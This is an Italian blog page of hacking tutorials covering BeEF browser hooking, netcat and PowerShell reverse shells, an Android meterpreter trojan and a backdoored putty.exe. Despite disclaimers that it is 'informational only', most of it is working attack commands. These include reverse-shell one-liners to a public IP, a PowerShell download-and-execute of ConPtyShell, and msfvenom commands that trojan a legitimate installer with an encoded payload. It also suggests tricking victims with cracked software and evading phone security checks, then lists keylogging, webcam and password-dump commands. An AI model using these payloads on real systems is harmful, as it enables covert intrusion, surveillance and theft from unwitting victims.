Nicholas Giordano

Cloud Arch. & Full Stack Developer

BeEF: Browser Exploitation Framework

Di cosa stiamo parlando?

BeEF è l’abbreviazione di The Browser Exploitation Framework. È uno strumento di test di penetrazione che si concentra sui web browser (chrome, firefox, ecc.).

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

In parole povere è un software che ci permette di “attaccare” un client utilizzando come unico vettore il browser web del client stesso.

Struttura di base dell’attacco:

  1. Creo una sessione di BeEF su una macchina ad ip statico connessa alla rete web globale
  2. Infetto il client tramite sito web contenente codice malevolo/invio un link manevolo
  3. Controllo la macchina client infettata tramite del codice js incapsulato nel punto 2

Utilizzando come vettore un web browser, questo attacco funziona su qualsiasi dispositivo dotato di web browser (smartphone compresi!)

Portare avanti l’attacco:

E’ fondamentale aver installato BeEF su una macchina remota, ad ip statico e che sia raggiungibile dal client, questa macchina si occuperà di propagare l’infezione sul client incapsulando codice malevolo all’interno di una pagina web infettata o di un sito malevolo creato ad hoc. Una volta fatto ciò tramite la GUI di BeEF sarà possibile visionare un elenco dei client (browser web) infettati e sarà possibile controllarli o ottenerne dati/informazioni in vari modi.

Creazione della macchina BeEF:

Possiamo hostare BeEF ovunque, per comodità utilizzeremo un server linux in cloud, per garantirci di avere un ip statico ed una macchina connessa ad internet. Possiamo farlo (a scopo di test) utilizzando und droplet basata su ubuntu all’interno di digitalocean (o qualsiasi altro provider) seguendo la guida ufficiale per ubuntu, oppure caricandola come container docker all’interno di un qualsiasi host in cui docker sia in esecuzione. In maniera alternativa, se vogliamo un’ installazione rapida e del tutto guidata, possiamo utilizzare lo script di installazione presente nella repository GitHub ufficiale.

Per prima cosa dobbiamo collegarci alla macchina remota su cui vogliamo installare BeEF:

$ ssh [email protected]

Potremo poi procedere a scaricare il sorgente di BeEF tramite git:

$ git clone https://github.com/beefproject/beef.git
$ cd beef

Una volta fatto ciò potremo lanciare l’installer, per avviare la procedura guidata di installazione, per farlo, una volta dentro la cartella della repository ci basta fare

$ ./install

Una volta terminata l’installazione è obbligatorio configurare delle credenziali per accedere al pannello di controllo di BeEF (per farlo basta modificare il file config.yaml presente nella cartella in cui stiamo operando) e possiamo quindi procedere a lanciare il software con il comando ./beef. Se tutto è andato a buon fine possiamo ora aprire un qualsiasi browser e accedere al pannello di controllo di BeEF recandoci su http://IP-Macchina-Remota:3000/ui/panel dove sarà possibile fare l’autenticazione ed iniziare ad usare il software.

schermata principale di BeEF dopo il primo login

Attaccare (attaccarsi) ad un web browser

Una volta installato beef possiamo procedere ad infettare un client, ci sono modi avanzati di creare url che siano credibili, o è possibile inserire del codice malevolo in qualsiasi pagina web. Di default BeEF ci mette a disposizione due modelli pronti per effettuare il test, come riportato nella schermata principale. Abbiamo due url che permettono di effettuare l’attacco:

  • http://IP-Macchina-Remota:3000/demos/basic.html
  • http://IP-Macchina-Remota:3000/demos/butcher/index.html

Per effettuare un test basta uno qualsiasi di questi url di prova, la differenza tra i due è che il secondo ha le sembianze di un sito web più “reale”.

Per portare avanti l’attacco non ci resta che inviare quindi uno di questi due link al client remoto, che dovrà unicamente aprirli con il proprio browser.

Una volta che il client avrà aperto il link inviato questo risulterà all’interno del nostro pannello di controllo:

client “vittima” connesso

Una volta che uno o più client hanno cliccato sul link, ci basterà cliccare sul nome del client per vedere una vasta serie di dettagli o per eseguire un qualsiasi comando utilizzando l’opzione “commands”

schermata comandi per client remoto

Le cose che possiamo fare sono tante, non tutte sono compatibili con tutti i client, ma sicuramente tutte le funzioni a disposizione permettono di effettuare un test di sicurezza molto robusto, utilizzando come vettore il software più usato di tutti (il “web browser”).

Questa tipologia di attacco è particolarmente interessante e “preoccupante”, paradossalmente mentre leggete questa pagina potrebbe essere in esecuzioni del codice js che ha appena “agganciato” il vostro browser ad una mia ipotetica sessione di BeEF. (Non vi preoccupate, non è così).

La domanda nasce spontanea: come ci si difende? La risposta a questa domanda non è facile, potremmo ispezionare ogni singola pagina web alla ricerca di script malevoli, ma sarebbe una ricerca realisticamente infruttuosa. La cosa migliore che conviene fare è non aprire url sospetti e in linea generale prestare grande attenzione a quando si naviga sul web o si accede a siti particolari.

😀

Reverse shell

Cosa si intende per reverse shell? Solitamente, per ottenere il controllo di un sistema compromesso, un attaccante punta ad ottenere accesso ad una shell per poter eseguire comandi arbitrari e poter operare direttamente su un sistema.

Immaginando una situazione in cui il sistema attaccato è un server remoto, l’utente attaccante si comporta come client mentre la macchina oggetto dell’attacco è il server remoto. Con il reverse shell i ruoli sono invece invertiti: è la macchina oggetto dell’attacco che avvia la connessione con l’utente remoto, che semplicemente resta in attesa di questa connessione su specifiche porte.

L’attacco mediante reverse shell è molto comune per come i firewall sono solitamente configurati sui server: raramente un firewall permetterà accesso diretto ad una shell da un indirizzo sconosciuto, e le uniche porte ampiamente aperte a tutta la rete saranno con buona probabilità la porta 80 (HTTP) e la 443 (HTTPS). Al contrario delle porte in entrata, i firewall non limitano solitamente le connessioni in uscita dal server, ciò potrebbe permettere ad un attaccante di stabilire una connessione tra un suo server (preferibilmente con un ip pubblico da cui sia possibile fare routing se l’obiettivo è una macchina remota) e la macchina oggetto dell’attacco mediante l’utilizzo di tool come netcat, facendo partire la connessione dalla macchina remota (eliminando le restrizioni delle regole in ingresso imposte dal firewall) e restando semplicemente in attesa di quella connessione.

Per dimostrare quanto detto sopra, ipotizzeremo di attaccare due macchine presenti sulla nostra rete locale, che nel nostro caso saranno due VM: Windows10 e KaliLinux. Per dimostrare l’efficacia dell’attacco useremo invece una macchina all’esterno della nostra rete che può essere una vps, un’ istanza EC2 in AWS, una macchina virtuale su Azure o una droplet su Digital Ocean (nel nostro caso useremo l’ultima opzione). Se non abbiamo la possibilità di creare macchine virtuali sulla nostra rete locale ovviamente nulla ci vieta di effettuare una prova di attacco su un pc fisico o sul nostro stesso sistema.

Setup della macchina “attaccante” (colei che sarà in attesa delle connessioni)

Per prima cosa dobbiamo configurare una macchina linux remota dove più preferiamo, nel nostro caso utilizzeremo DigitalOcean. Se non avete un account su digitalocean potete utilizzare il link che segue per crearne uno, ottenere 100$ di credito gratuito per 60 giorni e fare tutte le prove che volete: https://m.do.co/c/42e75dfe7047 (magari per creare anche un sito web o altro).

Una volta effettuato accesso su digitalocean di basterà creare una nuova droplet come da immagine che segue

creazione droplet (macchina virtuale)

Sarà poi possibile scegliere la tipologia di droplet (vm) da creare, nel nostro caso una versione base di ubuntu18 con tutte le impostazioni al minimo va bene. E’ molto importante in questo passaggio ricordare la password/modalità di accesso scelta per la creazione della nostra droplet.

Se non sappiamo come creare una droplet possiamo fare riferimento al seguente video:

Una volta che la nostra droplet è stata creata con successo ci basta cliccarci sopra per visualizzare il suo indirizzo IP, che dovremo copiare e salvarci. Questo indirizzo ci servirà per connetterci e configurare la macchina remota e sarà utilizzando anche dai sistemi attaccati: sarà infatti l’indirizzo a cui questi si collegheranno.

IP della droplet

Una volta che abbiamo creato la nostra macchina remota basterà connetterci tramite ssh e iniziare la configurazione (su windows è possibile utilizzare il client Putty).

Apriamo un terminale e scriviamo ssh [email protected]_MACCHINA che nel nostro caso sarà ssh [email protected] , ci verrà a questo punto chiesta la password (scelta in fase di creazione della macchina remota); una volta inserita saremo collegati alla macchina. Netcat è installato di default su tutte le macchine linux, non c’è nulla da installare quindi; dobbiamo però avviare il processo di “ascolto” sulla macchina remota, che proprio come dice la parola stessa resterà in ascolto di connessioni provenienti dalle macchine attaccate.

Per mettere netcat in ascolto digitiamo sul terminale remoto a cui siamo connessi tramite ssh il comando nc -lnvp PORTA -s IP che nel nostro caso sarà nc -lnvp 87 -s 165.227.135.79.

I parametri hanno il seguente significato:

  • l = listen
  • n = no DNS (verrà utilizzato unicamente l’ip della macchina remota)
  • v = verbose
  • p = porta (la porta su cui saremo in ascolto)
  • s = specifica l’interfaccia di ascolto
esempio del sistema in ascolto

Connessione da macchina target Linux

Vediamo ora come stabilire una reverse shell da una macchina linux “vittima”. Nel nostro caso utilizzeremo una VM Kali Linux. Una volta avviata ci basta aprire il terminale e dare il comando nc -e /bin/bash INDIRIZZO_IP PORTA che nel nostro caso sarà nc -e /bin/bash 165.227.135.79 87. Dopo aver dato questo comando, se torniamo sulla nostra macchina remota noteremo che la shell segnala che effettivamente è stata ricevuta una connessione. Da questo momento, dalla nostra macchina remota, possiamo eseguire qualsiasi comando arbitrario sulla macchina vittima, ci basterà digitarli sulla shell della nostra macchina remota.

Esempio connessione ricevuta su macchina remota

Connessione da macchina target Windows

Al contrario dei sistemi Linux, su Windows netcat non è installato nativamente, possiamo certamente installarlo ma per quello che vogliamo provare a fare sarebbe molto più comodo poter utilizzare qualcosa presente di default sul sistema. Per fare ciò ci aiuta molto la presenza di Powershell sui sistemi Windows. Per fare questo utilizzeremo il repository git https://github.com/swisskyrepo/PayloadsAllTheThings che contiene una serie di script utili a questo scopo, nel nostro specifico caso useremo questo: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows

Sulla macchina remota digitiamo stty raw -echo; (stty size; cat) | nc -lnvp PORTA -s IP che nel nostro caso sarà stty raw -echo; (stty size; cat) | nc -lnvp 87 -s 165.227.135.79. Fatto ciò la nostra macchina remota sarà di nuovo in ascolto e possiamo quindi ora passare alla macchina windows, aprire powershell e digitare IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell IP PORTA che nel nostro caso sarà IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 165.227.135.79 87. Un volta fatto ciò la macchina locale stabilirà una connessione con quella remota in ascolto e come per il caso precedente sarà per noi possibile eseguire comandi tramite shell della macchina remota.

E nella pratica?

Nella realtà dei fatti non avremo mai accesso diretto alle macchine “vittima” per lanciare i comandi visti in precedenza, il trucco è trovare il modo per far lanciare quei comandi alle macchine obiettivo. Può essere fatto in vari modi e utilizzando varie tecniche che non saranno approfondite in questo articolo che ha il solo scopo divulgativo.

Creare Trojan per android

In questo articolo andiamo a vedere come creare un trojan per android. Andremo ad utilizzare gli stessi tool utilizzati nell’articolo precedente in cui andavamo a fare la stessa operazione con windows, solo che questa volta, per variare e per avere un panorama più ampio, invece della console di Metasploit msfconsole andreamo a gestire il nostro attacco ad uno o più host utilizzano un’interfaccia grafica chiamata Armitage.

Possiamo utilizzare questa interfaccia per gestire molo più comodamente un qualsiasi tipo di attacco trasmesso tramite un vettore trojan iniettato dentro un programma di natura benevola o dentro un trojan realizzato ad hoc.

In questa guida andremo a vedere la seconda ipotesi: creeremo quindi un’apk android il cui unico scopo sia quello di garantirci accesso al dispositivo vittima, in futuro vedremo anche come iniettare il nostro trojan in applicazioni benevoli per rendere il nostro attacco un filo più piccante.

Tool necessari: li troviamo tutti in kali linux

Iniziamo con la creazione del trojan, apriamo la console e digitiamo

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R > app.apk

Come visto in precedenza alla voce LPORT LHOST andiamo ad inserire rispettivamente una porta libera da noi scelta e l’indirizzo IP (remoto o locale della macchina attaccante)

Una volta fatto ciò troveremo nella cartella in cui ci troviamo un file denominato app.apk che contiene il nostro trojan, il passaggio successivo è quello di andare a firmare digitalmente l’applicazione android (per motivi di sicurezza senza una valida firma potrebbe non essere possibile installarla). Lo andiamo a fare digitando da terminale

d2j-apk-sign app.apk

Fatto ciò comparirà un nuovo file denominato app-signed.apk. E’ proprio questo il file che dobbiamo andare ad inviare alla nostra vittima.

Volendo, ma lo vedremo in un secondo articolo, possiamo andare a modificare l’apk da noi creato per destare meno sospetti utilizzando apktool, contenuto sempre all’interno di kali linux.

Una volta creato il nostro trojan, prima che la vittima lo apra, dobbiamo creare un handler che sia pronto a gestire l’evetuale connessione della vittima. Possiamo fare ciò utilizzando Armitage. Immaginando che armitage sia correttamente installato, dopo aver avviato postgresql con il comando

service postgresql start

possiamo avviare armitage cercandolo tra le applicazioni nel finder o semplicemente scrivendo da console

armitage

Una volta avviato ci troviamo di fronte ad una schermata del genere:

Dal menù di sinistra andiamo alla voce payload->android->meterpreter e poi facciamo doppio click sulla voce reverse_tcp (che è il tipo di payload che stiamo utilizzando per questo trojan).

Ci si aprirà la seguente schermata in cui dobbiamo andare ad impostare l’ip della macchina attaccante (se quello già presente non fosse corretto) e la porta che abbiamo scelto nel momento in cui abbiamo creato il trojan.

Nel momento in cui clicchiamo su Lauch infice, si apre una nuova tab nella parte bassa della nostra schermata: siamo ufficialmente in ascolto e non ci resta che aspettare che la vittima apra l’apk malevolo.

Nel momento in cui uno o più dispositivi aprono il nostro apk li vedremo comparire nella nostra schermata di armitage in questo modo:

Possiamo considerarci ufficialmente in dialogo con il dispositivo attaccato nel momento in cui vediamo comparire i ‘fulmini’, ora possiamo digitare help nella console per vedere la lista di tutti i comandi o cliccare con il tasto destro sull’icona del dispositivo attaccato appena comparso per vedere tutte le possibilità di iterazioni.

Le cose che possiamo fare sono tante: registrazioni audio/video dalla webcam, stream diretto dalla webcam, avvio di applicazioni, visualizzare tutti i file, caricare file sul dispositivo remoto, inviare sms, geolocalizzare, scaricare chat, elenco contatti ed elenco chiamate del dispositivo.

 

PS: anche questa guida è fatta solamente a scopo informativo! 😀

Sui dispositivi di nuovissima generazione (galaxy s8 in su) è necessario utilizzare encoder o iniettare il trojan in un apk benevolo per evitare che il sistema ne riconosca la pericolosità (samsung ha adottato numerose misure di sicurezza di recente, cosa che purtroppo non si può dire per tutti i produttori di dispositivi)

 

 

Creare un Trojan per garantirci accesso remoto ad un sistema

In questa guida andiamo a vedere una tecnica molto interessante su come creare un trojan. Lo scopo è quello di garantirci l’accesso remoto ad un sistema, in questa guida prendiamo come ‘vittima’ una macchina con piattaforma windows, volendo però si può fare la stessa cosa per macchine con S.O. linux o osx.

Per fare ciò andremo a creare un trojan contenente un particolare payload che alla sua esecuzione ci andrà ad aprire una shell di controllo sulla macchina vittima.

Ci sono varie tecniche che permettono la generazione di un trojan di questo tipo:

  1. Possiamo creare un semplice trojan che si avvierà
  2. Possiamo andare ad infettare un programma legittimo che continuerà ad effettuare tutte le sue normali operazioni ma che al suo interno conterrà il payload che serve a noi per avere accesso remoto alla macchina.

Ovviamente l’opzione da tenere maggiormente in considerazione è la seconda poichè un utente vittima, anche totalmente inesperto potrebbe insospettirsi vendo un programma che avviato non faccia nulla, o in linea di massima sarà meno propenso ad avviare un programma che non conosce.

La scelta del programma da infettare è indifferente, in base al caso e in base alla vittima possiamo sceglierne uno o un altro: può essere il file di installazione di un programma (un setup qualsiasi) o un qualsiasi applicativo avviabile.

In un caso reale sarebbe abbastanza facile fornire al nostro utente vittima un file che a lui serve ma che contiene anche il nostro trojan, immaginiamo un ‘amico’ che ci chieda la crack di un programma o un collega che ci chieda l’ultima versione del programma di installazione della suite di office.

 

Per fare ciò utilizzeremo MSFVenom, un particolare tool del Metasploit Framework il cui compito è quello di generare payload.

Possiamo installare questo framework su una qualsiasi macchina linux, per comodità utilizzeremo una distribuzione basata su kali linux che contiene già al suo interno questo tool.

Per questioni di praticità faremo questo attacco in locale, nulla però ci vieta di installare il tool su un nostro server o su di un VPS e attaccare anche da remoto.

Cosa ci serve?

  1. IP della macchina attaccante (il trojan una volta in esecuzione avvierà un canale di comunicazione con questo indirizzo)
  2. Una porta di rete di nostra arbitraria scelta (useremo la porta 4445 che solitamente non è utilizzata da nessun applicativo preinstallato sulla macchina vittima windows)

 

Apriamo dunque il nostro terminale linux con il comando ifconfig possiamo facilmente andare ad ottenere il nostro ip (una serie di nostri ip, uno per ogni scheda di rete sia locale che remoto)

Nel mio caso che sono connesso ad internet sull’interfaccia wlan0 il mio ip locale sarà 192.168.1.3

Una volta ottenuto il nostro indirizzo non dobbiamo far altro che scegliere il programma in cui iniettare il nostro trojan, scegliamo putty, un’utility utilizzata da molti utenti windows per stabilire connessioni SSH (possiamo scegliere un qualsiasi programma).

Posizioniamo il programma vittima in una qualsiasi cartella e apriamola da terminale. Scriviamo poi da shell:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x nomeprogramma.exe -k LHOST=nostroip LPORT=portascelta -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o programmainfettato.exe

Al campo nomeprogramma.exe sostituiamo il nome del programma che vogliamo infettare, alla voce LHOST e LPORT inseriamo rispettivamente il nostro ip e la porta da noi scelta e alla voce programmainfetto.exe inseriamo il nome che vogliamo dare alla versione infettata del programma che abbiamo deciso di utilizzare come vettore del nostro trojan.

Nel mio caso sarà:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows -x putty.exe -k LHOST=192.168.1.3 LPORT=4445 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o putty2.exe

La schell ci comunicherà che tutto è andato a buon fine e che il programma infetto è stato creato con il nome di putty2.exe, nome che abbiamo scelto noi tramite l’opzione -o nel comando precedente.

Ora non resta altro da fare che attendere che la vittima apra il programma infetto, prima però dobbiamo configurare un handler che possa gestire la connessione che il trojan instaurerà tra la macchina vittima e la nostra. Sempre da shell avviamo:

  • Postgresql con il comando
service postrgresql start
  • msfconsole (che useremo per creare l’handler e attendere che la vittima apra il programma)
msfconsole

Una volta avviata ci troviamo di fronte alla seguente schermata

Nella console di Metasploit appena aperta (msfconsole) digitiamo

use exploit/multi/handler

Poi digitiamo

set PAYLOAD windows/meterpreter/reverse_tcp

poichè è quello il formato del payload scelto nella creazione del nostro trojan

Settiamo ora host e porta lanciando i due comandi

set LHOST nostro_ip
set LPORT porta_scelta

che nel mio caso saranno

set LHOST 192.168.168.1.3
set LPORT 4445

L’ultima cosa che ora ci resta da fare è mettere l’hadler in ascolto aspettando che la vittima apra il file utilizzando il comando run

Eseguite con successo tutte queste operazioni il risultato sarà il seguente:

Ora non resta altro che attendere (senza ovviamente chiudere la console) che la vittima apra il programma infettato.

Non appena la vittima avvierà il programma la console ce lo notificherà: SIAMO UFFICIALMENTE NEL PC VITTIMA REMOTO!

Possiamo ora fare qualsiasi cosa, possiamo usare questa shell come una shell normale (utilizzando il comando shell) o utilizzare particolari script per fare di tutto e di più. utilizzando il comando help possiamo vedere gli script preimpostati che variano dal più banale: cambia lo sfondo del desktop al registra audio/video da webcam/microfono.

Avendo accesso come se fosse una shell possiamo inoltre navigare in tutte le cartelle di sistema, accedere a file, cancellare file e qualsiasi cosa ci interessi fare. Oltre ai semplici comandi da shell ecco una lista delle cose più interessanti che metasploit ci mette a disposizione una volta instaurata una connessione:

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    sessions                  Quickly switch to another session
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    localtime     Displays the target system's local date and time
    pgrep         Filter processes by name
    pkill         Terminate processes by name
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes


La seguente guida è stata fatta solo a scopo informativo 🙂 <3